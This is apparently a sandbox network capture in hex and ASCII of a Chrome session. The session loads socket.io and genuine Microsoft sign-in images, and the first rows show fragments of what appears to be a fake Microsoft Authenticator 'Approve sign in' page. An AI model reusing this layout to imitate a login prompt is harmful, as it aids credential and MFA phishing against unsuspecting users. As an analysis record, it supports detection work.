2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 66 79 5f 66 6c 75 65 6e 74 5f 61 75 74 68 65 6e 74 69 63 61 74 6f 72 5f 35 39 38 39 32 66 31 65 30 35 65 33 61 64 66 39 66 64 32 66 37 31 62 34 32 64 39 32 61 32 37 66 2e 73 76 67 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 70 3e 4f 70 65 6e 5c 78 32 30 79 6f 75 72 5c 78 32 30 41 75 74 68 65 6e 74 69 63 61 74 6f 72 5c 78 32 30 61 70 70 2c 5c 78 32 30 61 6e 64 5c 78 32 30 65 6e 74 65 72 5c 78 32 30 74 68 65 5c 78 32 30 6e 75 6d 62 65 72 5c 78 32 30 73 68 6f 77 6e 5c 78 32 30 74 6f 5c 78 32 30 73 69 67 6e 5c 78 32 30 69 6e 2e e2 80 8b e2 80 8b 3c 2f 70 3e 5c 78 30 61 5c 78 32 30 5c Data Ascii: fy_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<p>Open\x20your\x20Authenticator\x20app,\x20and\x20enter\x20the\x20number\x20shown\x20to\x20sign\x20in.</p>\x0a\x20\
2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 65 6d 61 69 6c 4c 61 62 65 6c 5c 78 32 32 3e 65 6d 61 69 6c 40 67 6d 61 69 6c 2e 63 6f 6d 3c 2f 61 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 2f 64 69 76 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 63 6c 61 73 73 3d 5c 78 32 32 73 69 67 6e 49 6e 5c 78 32 32 3e 41 70 70 72 6f 76 65 5c 78 32 30 73 69 Data Ascii: x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22emailLabel\x22>email@gmail.com</a>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20</div>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20class=\x22signIn\x22>Approve\x20si
2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 73 74 79 6c 65 3d 5c 78 32 32 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 6c 65 78 3b 5c 78 32 32 3e 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 3c 61 5c 78 32 30 73 74 79 6c 65 3d 5c 78 32 32 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 5c 78 32 30 37 70 78 3b 5c 78 32 30 66 6f 6e 74 2d 73 69 7a 65 3a 5c 78 32 30 30 2e 39 72 65 6d 3b 5c 78 32 30 63 6f 6c 6f 72 3a 5c 78 32 30 23 30 30 36 37 62 38 3b 5c 78 32 30 63 75 72 73 6f 72 3a 5c 78 32 30 70 6f 69 6e 74 65 72 3b 5c 78 32 32 3e 49 5c 78 32 30 63 61 6e 5c 78 32 37 74 5c 78 32 30 75 73 65 5c 78 32 30 6d 79 5c 78 32 30 41 75 74 68 65 6e 74 69 63 61 74 6f Data Ascii: style=\x22display:\x20flex;\x22>\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<a\x20style=\x22padding-right:\x207px;\x20font-size:\x200.9rem;\x20color:\x20#0067b8;\x20cursor:\x20pointer;\x22>I\x20can\x27t\x20use\x20my\x20Authenticato
2024-06-20 11:54:19 UTC	1369	IN	Data Raw: 32 32 5c 78 32 30 70 6e 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 37 63 63 30 39 36 64 61 36 61 61 32 64 62 61 33 66 38 31 66 63 63 31 63 38 32 36 32 31 35 37 63 2e 70 6e 67 5c 78 32 32 5c 78 32 30 73 76 67 73 72 63 3d 5c 78 32 32 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 2f 73 68 61 72 65 64 2f 31 2e 30 2f 63 6f 6e 74 65 6e 74 2f 69 6d 61 67 65 73 2f 61 72 72 6f 77 5f 6c 65 66 74 5f 61 39 63 63 32 38 32 34 65 66 33 35 31 37 62 36 63 34 31 36 30 64 63 66 38 66 66 37 64 34 31 30 2e 73 76 67 5c 78 32 32 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c Data Ascii: 22\x20pngsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_7cc096da6aa2dba3f81fcc1c8262157c.png\x22\x20svgsrc=\x22https://logincdn.msauth.net/shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg\x22\x0a\x20\x20\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49701	13.32.145.15	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:19 UTC	510	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:19 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Wed, 29 May 2024 21:23:44 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: dub1::lx626-1717017824157-2f0e57ee4707 X-Cache: Hit from cloudfront Via: 1.1 726c1817cdd65c9f70abf7d94b29ae84.cloudfront.net (CloudFront) X-Amz-Cf-Pop: CDG50-C2 X-Amz-Cf-Id: -gBP6yVr83m4ULmI5brvkvDIwKRQ_NUAJCbYrFIZtzXNhNWioezc_g== Age: 7899137
2024-06-20 11:54:19 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-06-20 11:54:19 UTC	16384	IN	Data Raw: 6c 65 3d 21 31 3b 66 6f 72 28 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 2c 69 3d 6e 3d 3d 3d 74 2e 6c 65 6e 67 74 68 2d 31 3b 45 28 72 2c 65 2e 73 75 70 70 6f 72 74 73 42 69 6e 61 72 79 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 65 2e 77 73 2e 73 65 6e 64 28 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 26 26 69 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 77 72 69 74 61 62 6c 65 3d 21 30 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 64 72 61 69 6e 22 29 7d 29 2c 65 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 29 7d 29 29 7d 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 28 72 29 7d 7d 2c 7b 6b 65 79 3a 22 64 6f 43 6c 6f 73 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f Data Ascii: le=!1;for(var n=function(n){var r=t[n],i=n===t.length-1;E(r,e.supportsBinary,(function(t){try{e.ws.send(t)}catch(t){}i&&it((function(){e.writable=!0,e.emitReserved("drain")}),e.setTimeoutFn)}))},r=0;r<t.length;r++)n(r)}},{key:"doClose",value:function(){vo
2024-06-20 11:54:19 UTC	12004	IN	Data Raw: 73 68 69 66 74 28 74 29 2c 74 68 69 73 2e 5f 6f 70 74 73 2e 72 65 74 72 69 65 73 26 26 21 74 68 69 73 2e 66 6c 61 67 73 2e 66 72 6f 6d 51 75 65 75 65 26 26 21 74 68 69 73 2e 66 6c 61 67 73 2e 76 6f 6c 61 74 69 6c 65 29 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 61 64 64 54 6f 51 75 65 75 65 28 6e 29 2c 74 68 69 73 3b 76 61 72 20 69 3d 7b 74 79 70 65 3a 45 74 2e 45 56 45 4e 54 2c 64 61 74 61 3a 6e 2c 6f 70 74 69 6f 6e 73 3a 7b 7d 7d 3b 69 66 28 69 2e 6f 70 74 69 6f 6e 73 2e 63 6f 6d 70 72 65 73 73 3d 21 31 21 3d 3d 74 68 69 73 2e 66 6c 61 67 73 2e 63 6f 6d 70 72 65 73 73 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6e 5b 6e 2e 6c 65 6e 67 74 68 2d 31 5d 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 69 64 73 2b 2b 2c 73 3d 6e 2e 70 6f 70 28 29 3b 74 68 Data Ascii: shift(t),this._opts.retries&&!this.flags.fromQueue&&!this.flags.volatile)return this._addToQueue(n),this;var i={type:Et.EVENT,data:n,options:{}};if(i.options.compress=!1!==this.flags.compress,"function"==typeof n[n.length-1]){var o=this.ids++,s=n.pop();th
2024-06-20 11:54:19 UTC	1034	IN	Data Raw: 65 2c 65 3d 76 6f 69 64 20 30 29 3b 76 61 72 20 72 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 22 22 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 3f 61 72 67 75 6d 65 6e 74 73 5b 32 5d 3a 76 6f 69 64 20 30 2c 72 3d 74 3b 6e 3d 6e 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6c 6f 63 61 74 69 6f 6e 26 26 6c 6f 63 61 74 69 6f 6e 2c 6e 75 6c 6c 3d 3d 74 26 26 28 74 3d 6e 2e 70 72 6f 74 6f 63 6f 6c 2b 22 2f 2f 22 2b 6e 2e 68 6f 73 74 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 22 2f 22 3d 3d 3d 74 2e 63 68 61 72 41 Data Ascii: e,e=void 0);var r,i=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2?arguments[2]:void 0,r=t;n=n\|\|"undefined"!=typeof location&&location,null==t&&(t=n.protocol+"//"+n.host),"string"==typeof t&&("/"===t.charA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49704	13.107.246.45	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:20 UTC	618	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:20 UTC	785	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:20 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 25318beb-401e-0072-3b4a-c2419a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115420Z-16c46dd49482lstjquzewx10cs00000001h000000000cs1b x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-06-20 11:54:20 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49705	13.107.246.45	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:20 UTC	638	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:20 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:20 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: a035c1a0-a01e-0004-5389-c24996000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115420Z-16c46dd494856p42sus2tq733800000002bg0000000059m7 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-06-20 11:54:20 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.16	49706	13.107.246.45	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:20 UTC	621	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:20 UTC	805	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:20 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 3176e01f-301e-0005-6d97-c26294000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115420Z-16c46dd49482nw76e4r8vzw1dc000000029000000000cr7v x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-06-20 11:54:20 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49707	13.107.246.45	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:20 UTC	617	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:20 UTC	784	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:20 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: ed387178-701e-0045-3b45-c2b185000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115420Z-16c46dd4948fpcpqmxmdwt2bqn000000029g000000007xat x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-06-20 11:54:20 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49703	13.107.246.43	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:20 UTC	616	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:21 UTC	786	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:20 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: b2811340-901e-0067-6508-c376b2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115420Z-16c46dd4948grg84ce1x4v3sv000000002b0000000001zat x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_MISS Accept-Ranges: bytes
